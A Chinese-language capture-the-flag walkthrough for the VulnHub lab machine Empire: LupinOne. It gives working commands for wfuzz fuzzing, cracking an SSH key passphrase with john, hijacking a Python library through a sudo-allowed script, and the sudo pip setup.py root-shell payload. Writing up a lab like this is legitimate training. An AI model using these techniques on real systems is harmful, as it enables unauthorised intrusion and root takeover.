hailong86
- 关注
1.靶机介绍
靶机下载地址:https://www.vulnhub.com/entry/empire-lupinone,750/
靶机提示:
Description
Difficulty: Medium
This box was created to be medium, but it can be hard if you get lost.
CTF like box. You have to enumerate as much as you can.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
靶机IP:10.8.0.102
2.端口发现
扫描靶机信息,发现开放了22和80端口,发现了robots.txt和/~myfiles
3.wfuzz参数爆破
/~myfiles比较可以,查看一下,返回错误界面,猜测还会有和/~下还会有其他页面
尝试利用wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.8.0.102/~FUZZ爆破一下,结果太多,可以过滤一下
利用--hw参数过滤Word尝试一下
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 31 http://10.8.0.102/~FUZZ,扫描到secret
访问http://10.8.0.102/~secret/,提示在这个目录下有隐藏的ssh私钥文件,fasttrack字典,得到用户名icex64
利用wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://10.8.0.102/~secret/.FUZZ.txt搜索.txt的文件类型的隐藏文件,找到.mysecret.txt
4.秘钥解密与破解
访问http://10.8.0.102/~secret/.mysecret.txt,全是密文
利用base解密,base58成功解密,得到私钥内容
将密文写入到key文件内(秘钥文件需要赋权600),使用 ssh2john.py 编译一下,生成passkey.txt
利用john --wordlist=/usr/share/wordlists/fasttrack.txt passkey.txt进行破解,得到密码P@55w0rd!
5.ssh登录
利用用户名icex64和密码P@55w0rd!及私钥key文件成功登录ssh,查看当前目录下文件,有一个user.txt
查看user.txt,得到一个flag:3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
6.反弹shell提权
sudo -l发现/usr/bin/python3.9 /home/arsene/heist.py可以不需要密码执行arsene权限,无法直接提权到arsene用户,那么可以利用这个文件反弹个shell
/home/arsene/heist.py只有可读权限,无法写入
查看文件,发现引用了webbrowser库,可以尝试利用
find /usr/ -name 'webbrowser'查找一下这个文件,文件权限是最高权限
vi编辑文件,写入shell,os.system("/bin/bash")
sudo -u arsene python3.9 /home/arsene/heist.py成功切换到arsene用户
7.pip提权
sudo -l 发现/usr/bin/pip可以不需要密码执行root权限
查找pip提权方式,尝试一下
依次执行
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
成功拿到root,拿到flag!!!
8.总结
非常有意思的一个靶场,有2处提权,从低权限用户提权到高权限用户,再提权到root,这里的难点其实还是wfuzz。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)